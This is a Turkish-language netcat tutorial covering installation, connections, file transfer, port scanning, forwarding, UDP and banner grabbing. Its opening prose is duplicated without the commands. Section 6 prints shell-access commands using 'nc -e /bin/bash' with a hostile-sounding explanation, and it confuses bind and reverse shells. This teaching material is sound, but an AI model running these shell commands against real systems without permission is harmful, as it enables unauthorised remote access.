Netcat (nc), ağ yöneticileri, sistem güvenlik uzmanları ve penetrasyon testçileri için vazgeçilmez bir araçtır. Ağ bağlantılarıyla ilgili birçok görevi yerine getirebilen, çok yönlü ve hafif bir yazılımdır. TCP ve UDP protokollerini destekleyen netcat, çeşitli bağlantı türlerini test etmek, dosya aktarmak, port taraması yapmak ve daha birçok işlemi gerçekleştirmek için kullanılabilir.
Bu eğitimde, netcat'in nasıl kullanılacağını, temel ve gelişmiş komutlarını, çeşitli kullanım senaryolarını inceleyeceğiz.
Debian/Ubuntu tabanlı sistemlerde:
RedHat/CentOS tabanlı sistemlerde:
Arch tabanlı sistemlerde:
Örnek:
Bu komut, 192.168.1.10 IP adresine, HTTP protokolü (port 80) üzerinden bir bağlantı kuracaktır. Bağlantı başarılı olursa, el ile HTTP isteği gönderebilirsiniz:
Sunucu, uygun bir yanıt döndürecektir.
Örnek:
Bu komut, 8080 portunu dinleyen bir TCP sunucusu oluşturur. Bir istemci bu porta bağlandığında, iki taraf veri alışverişi yapabilir.
Örnek:
Bu komut, example.txt dosyasını 192.168.1.10 IP'sindeki 8080 portuna gönderir.
Örnek:
Bu komut, 8080 portunu dinler ve gelen verileri received_file.txt dosyasına yazar.
Örnek:
Bu komut, 192.168.1.10 IP adresindeki 20 ile 80 arasındaki TCP portlarını tarar. -z bayrağı, bağlantının sadece portun açık olup olmadığını kontrol etmek için kullanılacağını belirtir. -v bayrağı ise çıktıyı ayrıntılı hale getirir.
Örnek bir kullanım senaryosu: Bir makinaya gelen bağlantıları başka bir IP adresine yönlendirmek.
Bu komut, gelen bağlantıları belirtilen hedef IP adresine ve porta iletir.
İstemci tarafında ters bağlantı kurmak için:
Bu komutlar, saldırganın 4444 portunda dinlediği IP adresine bir shell erişimi sağlar.
Örnek:
Bu komut, 9999 portunda UDP bağlantılarını dinler.
Örnek:
Bu komut, 192.168.1.10 IP adresindeki 9999 portuna UDP paketi gönderir.
Örnek:
Bu komut, 192.168.1.10 IP adresindeki 21 (FTP) portuna bağlanarak banner bilgisini alır.
Örnek:
Bu komut, 5 saniye içinde cevap alamazsa bağlantıyı sonlandırır.
Ağlarınızı test etmek ve sorunları çözmek için netcat'i kullanabilir, aynı zamanda güvenlik denetimleri için bu aracın esnekliğinden yararlanabilirsiniz. Netcat ile yapılabilecekler sınırsızdır; sadece hayal gücünüz ve ihtiyaçlarınızla sınırlısınız!
Bu eğitimde, netcat'in nasıl kullanılacağını, temel ve gelişmiş komutlarını, çeşitli kullanım senaryolarını inceleyeceğiz.
1. Netcat Kurulumu
Linux
Çoğu Linux dağıtımında netcat hazır bulunur, eğer yüklü değilse:Debian/Ubuntu tabanlı sistemlerde:
Bash:
sudo apt-get install netcat
Bash:
sudo yum install nc
Bash:
sudo pacman -S netcat
Windows
Windows için netcat'i üçüncü parti kaynaklardan indirip çalıştırabilirsiniz. nmap gibi araçlarla gelen netcat sürümleri de mevcuttur. Nmap'in netcat sürümü olan Ncat'i kullanmak mantıklı olabilir.MacOS
Bash:
brew install netcat
2. Netcat'in Temel Kullanımı
2.1. Basit Bir Bağlantı Kurma
Netcat, bir TCP veya UDP bağlantısı kurmak için kullanılabilir. Örneğin, bir hedef IP adresine ve belirli bir porta TCP bağlantısı kurmak için:
Bash:
nc [hedef_ip] [port]
Bash:
nc 192.168.1.10 80
Bash:
GET / HTTP/1.1
Host: 192.168.1.10
2.2. Basit Bir Sunucu Oluşturma
Netcat, hem istemci hem de sunucu olarak çalışabilir. Bir port üzerinden gelen TCP bağlantılarını dinlemek için:
Bash:
nc -l -p [port]
Bash:
nc -l -p 8080
3. Dosya Aktarımı
3.1. Netcat İle Dosya Gönderme ve Alma
Netcat'in en yaygın kullanımlarından biri de dosya aktarımıdır.Dosya Gönderme (İstemci)
Bir dosyayı başka bir bilgisayara göndermek için şu komutu kullanabilirsiniz:
Bash:
nc [hedef_ip] [port] < [dosya_adi]
Bash:
nc 192.168.1.10 8080 < example.txt
Dosya Alma (Sunucu)
Bağlanan istemciden dosya almak için şu komutu çalıştırın:
Bash:
nc -l -p [port] > [dosya_adi]
Bash:
nc -l -p 8080 > received_file.txt
4. Port Taraması
Netcat, hedef makinelerdeki açık portları keşfetmek için kullanılabilir.4.1. TCP Port Taraması
Hedefteki belirli bir aralıktaki portları taramak için:
Bash:
nc -z -v [hedef_ip] [başlangıç_port]-[bitiş_port]
Bash:
nc -z -v 192.168.1.10 20-80
5. Port Yönlendirme (Port Forwarding)
Netcat, basit bir port yönlendirme aracı olarak kullanılabilir. Bu işlem, iki ağ arasında veri iletmek için kullanılabilir.Örnek bir kullanım senaryosu: Bir makinaya gelen bağlantıları başka bir IP adresine yönlendirmek.
5.1. Netcat İle TCP Tüneli Oluşturma
İstemci tarafından gelen bağlantıları, başka bir sunucuya yönlendirebilirsiniz. İki makine arasında bir TCP tüneli oluşturmak için:
Bash:
mkfifo backpipe
nc -l -p [local_port] 0<backpipe | nc [hedef_ip] [hedef_port] >backpipe
6. Ters Bağlantı ve Shell Erişimi
Ters bağlantı (reverse shell), ağ güvenliği testlerinde sıkça kullanılan bir tekniktir. Bir sistemdeki netcat'in dinleyici olarak konfigüre edilip, bir saldırganın sistemine ters bağlantı gönderilmesiyle shell erişimi sağlanabilir.6.1. Ters Bağlantı Oluşturma
Sunucuda ters bağlantı beklemek için:
Bash:
nc -l -p 4444 -e /bin/bash
Bash:
nc [hedef_ip] 4444 -e /bin/bash
Dikkat: Bu kullanım etik olmayan amaçlarla kullanılmamalıdır. Yalnızca yasal izin verilen ağlarda testler yapılmalıdır.
7. Netcat ile UDP Bağlantıları
Netcat sadece TCP değil, UDP bağlantılarını da destekler.7.1. UDP Sunucu Başlatma
UDP bağlantılarını dinlemek için:
Bash:
nc -u -l -p [port]
Bash:
nc -u -l -p 9999
7.2. UDP İstemci Bağlantısı
UDP üzerinden veri göndermek için:
Bash:
nc -u [hedef_ip] [port]
Bash:
nc -u 192.168.1.10 9999
8. Netcat ile Güvenlik Testleri
Netcat, ağ güvenlik testlerinde birçok amaç için kullanılabilir. İşte birkaç örnek:8.1. Banner Yakalama
Bir sunucunun belirli bir portundan banner bilgisi almak için:
Bash:
nc [hedef_ip] [port]
Bash:
nc 192.168.1.10 21
8.2. Port Knocking
Netcat ile basit bir port knocking sistemi oluşturabilirsiniz. Bir sunucuya doğru sırayla belirli portlara istek göndererek belirli bir aksiyon başlatabilirsiniz.
Bash:
nc -z [hedef_ip] [port1] [port2] [port3]
9. İleri Düzey Netcat Özellikleri
9.1. Zaman Aşımı ve Bekleme Süresi
Bir bağlantının zaman aşımını veya bekleme süresini ayarlamak için -w bayrağını kullanabilirsiniz.
Bash:
nc -w [saniye] [hedef_ip] [port]
Bash:
nc -w 5 192.168.1.10 80
Sonuç
Netcat, ağ yöneticileri ve güvenlik uzmanları için çok yönlü ve kullanışlı bir araçtır. Yukarıda verilen örnekler ve senaryolar, netcat'in sadece temel özelliklerini değil, aynı zamanda güvenlik testlerinde ve dosya transferlerinde nasıl etkili bir şekilde kullanılabileceğini de göstermektedir.Ağlarınızı test etmek ve sorunları çözmek için netcat'i kullanabilir, aynı zamanda güvenlik denetimleri için bu aracın esnekliğinden yararlanabilirsiniz. Netcat ile yapılabilecekler sınırsızdır; sadece hayal gücünüz ve ihtiyaçlarınızla sınırlısınız!